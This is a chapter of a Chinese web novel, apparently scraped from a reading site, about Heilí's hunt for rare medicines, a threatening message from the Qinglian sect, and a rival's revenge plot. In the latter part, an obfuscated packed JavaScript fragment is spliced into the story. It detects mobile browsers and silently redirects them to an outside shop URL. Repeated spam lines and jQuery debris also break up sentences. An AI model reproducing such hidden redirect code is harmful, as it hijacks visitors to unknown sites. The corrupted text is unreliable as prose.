默认冷灰
24号文字
方正启体

第103章 把你妈妈分我一半

作者:未眠灯本书字数:K更新时间:
    日子一天天地过,转眼便过了一个半月。


    被派南下的乔望飞每隔十天就会快马传回书信汇报沿途情况和已收集到的药材。


    药材清单会直接送到黛黎面前。


    先前丁老先生写的三页药材单子黛黎也有一份,她每日都要看两回。


    最高兴的事莫过于一手拿着乔望飞和金多乐的书信另一手拿着朱砂笔,在铺开的清单上打小红勾。


    凡是找到的、并已满足数量的药材黛黎通通以小红勾做标记。


    待所有书信都仔细看完黛黎会重新抄三份清单将会收集的通通写出来。


    两份分别快马加鞭给乔望飞和金多乐送去,同步两者的信息库,另一份则给自己留下。


    时间还剩下二十二天一个月都不到。黛黎坐在案几前,手里拿着狼毫正在抄最后一份清单。


    她期望下次来信时,它们都能从桑皮纸里消失。


    外面脚步声匆匆念夏在此时急忙入内,她刚喊了声“夫人”,发现秦邵宗也在不由规矩了许多不敢再像方才一样嚷嚷地喊了。


    黛黎在写字


    秦邵宗看向念夏,“何事如此匆忙?”


    他面上并无不虞,但念夏就是怵得慌下意识垂首避开那双威压沉沉的棕眸。


    “君侯方才奴外出到集市买东西时在人群中不慎被一个小娘子撞了下后来奴才发觉篮中多了一张绢布。”念夏道。


    一个多月过去,武安侯彻底“转危为安”府邸也不似当初那般**出府采购的奴仆比先前多了一些。


    奴仆有卫兵陪同看守倒不担心中途被抓了去审问。只是在闹市这人潮汹涌之地经过时难免会发生推搡。


    回到府中后念夏惊觉篮子里多了其他的东西——


    多了一张绢布。


    布上有字念夏不认得字遂匆忙来找黛黎。


    黛黎想到先前青莲教曾以尺素书当即字也顾不上写了“拿来让我看看。”


    念夏忙呈上去。


    秦邵宗面无表情道:“出府前已吩咐过需多留意与你们有接触之人为何还让旁人专了空子?”


    不算重的一句却吓得念夏两股战战“君、君侯当时奴碰到的那个小女郎光鲜亮丽皮肤白皙手上一点茧子都没有瞧着像大户人家的贵女所以奴……”


    “罢了一时不察很正常。天气渐凉念夏你去庖厨跑一趟让他们在汤里多放两片姜驱寒。”黛黎道。


    念夏如蒙大赦赶紧离开。


    黛黎将绢布翻过来面朝上。


    可能是为了最初的掩人耳目这回他们并没有以朱砂作墨而是用了一种


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    和绢布相似颜色的植物染料。


    [何首乌,麝香。武安侯得之量不足。]


    黛黎脑中轰地好像有什么东西炸开了,震得她听不见周围声响,也听不入任何人说话。


    原因无他,她方才在重抄的、还没找到的药材清单里,确实有这两样药材。


    何首乌被称为四大仙草之一,其名贵程度自是不必多言。


    更令黛黎介怀的是,何首乌好像多生于南方,起码金多乐在北地收刮了整整五十五日,只寻到一块比婴儿巴掌还小的何首乌。


    至于麝香,那得从雄性麝科动物的生长腺体或香囊中提取,一头雄鹿最多也就能产三十克。因此麝香在《神农本草经》里,被列为“上药”,非贵族皇室不能有。


    紧紧拿着绢布的素手忽然被握住。


    那只长满厚茧的手掌裹住她,源源不断的暖意传来,又用了些巧劲,将她收紧得发白的指节松开。


    “夫人,我们还有时间。”秦邵宗本来坐在黛黎身旁,如今手臂展开,将她拥入怀中。


    黑色的衣袍和烟紫色的裙摆交叠,从远处看,仿佛是一幅交融了暗与明两种颜色的画卷。暗色是背光那一面的树干,支撑起那一抹花儿一样的亮色。


    黛黎不自觉抓紧了他的手,“距丁老先生给出的期限还有二十二日,时间不近不远的,青莲教敢在此时传消息过来,应该是胸有成竹。麝这种动物单只产的麝香并不多,兼之胆小如鼠,听觉和嗅觉都非常发达,极难捕捉。”


    “安心,会解决的。”秦邵宗低声道。


    忽的,黛黎握着他的手突然松开,侧身看向他,“秦长庚,我想……”


    “你不能想。”他罕见地打断黛黎。


    黛黎拧起细眉,“我都还未说完。”


    “不用说完,我还能不知你在想何事?”秦邵宗勾起唇,笑意却不达眼底,“你想去见青莲教之人。”


    黛黎呼吸微滞,下意识别开眼,那是一种心底所想被看穿时本能的逃避。


    “黛黎,你想都别想。”


    秦邵宗以两指捏住她下巴尖,将她的脑袋转回来,直视那双黑黝黝的眸子,“渔阳有四十多万人口,我只能说此地比旁的地方要少些青莲教的蛀虫,但不能保证一干二净。青莲教诡计多端,夫人去找他们,和送羊入虎口有什差别?”


    转不过头,黛黎干脆不转了,也深深地看着他,“秦长庚,你若让我眼睁睁地看着州州无药可医,我做不到。”


    她没有大喊大叫,但每个字都带着不容置喙的坚决。


    “你送上门去就能解决问题了?到时他们把你逮了,转头拿你要挟秦宴州那小子和我,你让我们如何是好?”秦邵宗松开她的下颌。


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    黛黎抿着嘴巴不说话,眼神有些发飘,不由陷在他的假设里。


    她没有中蛊虫,琢磨不准那种每回都被儿子轻飘飘掠过的蛊毒之痛。


    但她知道一定很不好受,否则何以每次毒发的第二日,州州都满脸苍白,中午吃饭几乎难以下咽。


    “还有时间,我能解决。”男人的唇贴上怀中女人的额头,亲了亲她眉心那抹小红痣,“黛黎,相信我。”


    正房的门没有关,无论是黛黎还是秦邵宗都没有看见,此时正房侧边站了一道颀长的身影,将他们的对话收入耳中。


    秦宴州缓缓垂下眼睫,和来时一样悄无声息地离开。


    ……


    “嗳嗳,秦宴州,你干嘛去?”秦祈年看到秦宴州一直往侧门方向走,好奇心立马上来了。


    父亲“病危期”已过,他不再被禁足,可以出府了,只不过不能太频繁。秦祈年上回出府还是两日前,出去寻好友唠嗑。


    他累计出府过几回,却未曾见秦宴州出去过一次。


    这人在渔阳有朋友否?


    应该没吧,他随黛夫人才来渔阳月余。


    如今见秦宴州要外出,秦祈年大为惊奇。


    秦宴州未回答他的话,只径直往前。


    秦祈年跟上,边走边和他说话:“你是出府游肆吗,还是去买什么东西?若是前者,我可以给你介绍些好去处,至于后者,你何须自己跑一遭,让奴仆去便可。”


    秦宴州沉默地往前,他越过看守的府卫,踏出了府宅。


    秦祈年嘴巴不停:“还有一个时辰就该用晚膳了,我今早听闻黛夫人吩咐庖厨做古董羹,咱们早去早回,莫要错过美味了。”


    前两次秦宴州没有做声,唯独这次青年低低应了声好。


    秦祈年嘻嘻一笑,“黛夫人说会改良一下古董羹,改良之后的模样,你先和我说说呗。”


    秦祈年跟了秦宴州一路,始终没弄明白这人出府作甚。


    说买东西吧,却又不像。


    他仅进店转一圈,比起买物品,似乎对店铺小佣和掌柜更感兴趣。


    “秦宴州,你别光看不买啊,你喜欢什么,我给你付银钱。我攒了很多钱,以前军功赏赐什么的,我都没花多少,也不像卫小五老喜欢去听那些很贵的小曲儿。”秦祈年表示自己的小金库很丰厚。


    他总有一种说不明的愧疚和一点使命感。


    前者可能来自于初见时对黛夫人的失礼,或是意外得知父亲竟抢夺**,因此源源不断生出的父债子偿的内疚。


    后者是来自于那日黛夫人和他说的话。


    直到今日秦祈年也不明白,明明那日是他想问她一些问题,但聊着聊着,重点不知不觉都全落在秦宴州身


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    上。


    纵然时间已过去一个半月但秦祈年依旧清晰地记得那一天。


    午后的日光从窗外溜入落在女人带着暗纹的裙摆上折射出的潋滟浮光将她的五官描绘得很清晰。


    说起秦宴州时她温声细语眉眼间是止不住的温柔整个人好像笼着一团柔和迷人的光晕。


    秦祈年也说不明白为什么明明对方嘴里的“州州”不是他但当他被她注视着时他变得晕乎晕乎的像泡在暖汤里一样。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684552|188795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她说让他以后多和秦宴州说话他想也没想就点头。


    她说她和秦宴州失散了整整十年那十年秦宴州过得很苦


    后面还说了其他都是关于秦宴州的。


    后来秦祈年几次回想觉得那可能就是先生口中的“慈母爱子非为报也”她只是本能地爱护自己的孩子。


    生母病逝时他还两岁不到秦祈年没有生母的记忆。但是他觉得他的母亲如果在世多半也会像黛夫人疼爱秦宴州一样爱他。


    好吧以前得不到没有关系就凭他父亲那股势在必得的劲儿他觉得黛夫人有一点点可能会成为他母亲。


    饱受道德谴责的同时秦祈年别扭地生出了一些隐秘的期待。


    秦宴州我父亲位高权重战无不胜我以后让他罩着你一些;你能不能把你母亲分我一半……


    几条街开外的城内。


    一个奴仆打扮的女婢走在前领着一道戴着帷帽的娇小身影从后街小巷拐入书坊的后门。


    进入书坊后“女婢”主动退到一旁向后者福了福身“先生们在三楼小娘子您请吧。”


    女郎不置一词独自上楼。待上了这层后她才将头上帷帽拿下。


    薄纱拂动露出了一张年轻的俏丽脸蛋她约莫年十六正是花一般的年纪只是此刻她面无表情冷得像块玄冰。


    三层内有个大厅此刻厅堂内门户大开小女郎直入其中。


    厅堂内有人一人着紫袍一人着白衣两个青年皆是二十出头仔细看面容竟有五六分的相似。


    房中雅致壁上挂着书画四角放着香笼沉香氤氲而起浸了满室。


    看到女郎进来着白衣的谛听笑道:“范小娘子回来事情如何还顺利否?”


    这来者正是范木栖范天石的第八个孩子。


    范木栖面无表情:“一切顺利。”


    紫袍青年笑了“看来是范兖州在天有灵保佑小娘子万事顺利。”


    听到对方提起父亲范木栖眸光暗了暗。


    当初兖州兵败范家阖家的男丁**绝许是觉得女郎


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    成事不足,无论是范府内的一屋子姬妾,还是其他未出阁的小娘子,都险之又险地躲过了一劫。


    范木栖是嫡女,她生母季氏尚在世。


    范季两家是望族联姻,今朝鼓励寡妇再嫁,丧夫的妇人再嫁比比皆是。范天石死后,季氏被母族接回。


    季氏离开时,本来要带上范木栖。


    不过在动身的前一夜,一伙夜行客潜入了传舍。而得知父亲的兵败,乃至两方开战皆有那人的缘故,范木栖便觉胸腔里有一团毒火在燃烧。


    她对他青睐有加,在范府时命人对其多加照顾。范府养他七年,从十二岁到十九岁,供他吃喝,教他习武。


    可恨他竟是武安侯早早埋下的暗桩。


    七年,两千五百多个日夜,亏他熬得住!


    所以当青莲教寻上门时,范木栖没做多想就答应了,她只给母亲留下一封书信,便毫不犹豫跟着来者离开。


    她要报仇,寻犬芥报杀父杀兄之仇!


    “你们下一步想如何?”范木栖知道她和青莲教的关系与其说合作,不如说利用。


    但她不在意,只要能令武安侯和犬芥付出代价,她都愿意。


    “蔡元前去探望武安侯后,便突然加重力度整顿民屯和商屯,卫家首当其冲。前有卫丛林意外**,后有蔡家从屯田中动手。武安侯绕这么大一个圈子……”着紫袍的白象摸了摸下巴。


    谛听淡淡接过话,“他是想娶妻了。”


    郡中的其他望族消息不灵通,以为从战场归来的武安候真的身负重伤。但对方如何,被逼出兖州的他们再清楚不过。


    谛听:“武安侯分明安然无恙,此番在府中龟缩不出,只在幕后操控,分明是想逼得卫家走投无路。想来再过不久,想来他就该给卫家透风声。”


    待风声一透,在一桩桩能动摇根基的大事之前,卫家定然别无选择。


    “既然如此,那就先下手为强。”


    秦府,正房。


    “夫人,卫家给你送来一份拜帖。”念夏道。


    黛黎疑惑:“给我?”


    念夏颔首,“是的,府卫说送拜帖来的是个女婢,多番强调是给您的。”


    黛黎拿过拜帖展开,看清楚来人,她细眉微扬。


    拜帖一方属于:卫家五娘子,卫澄。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)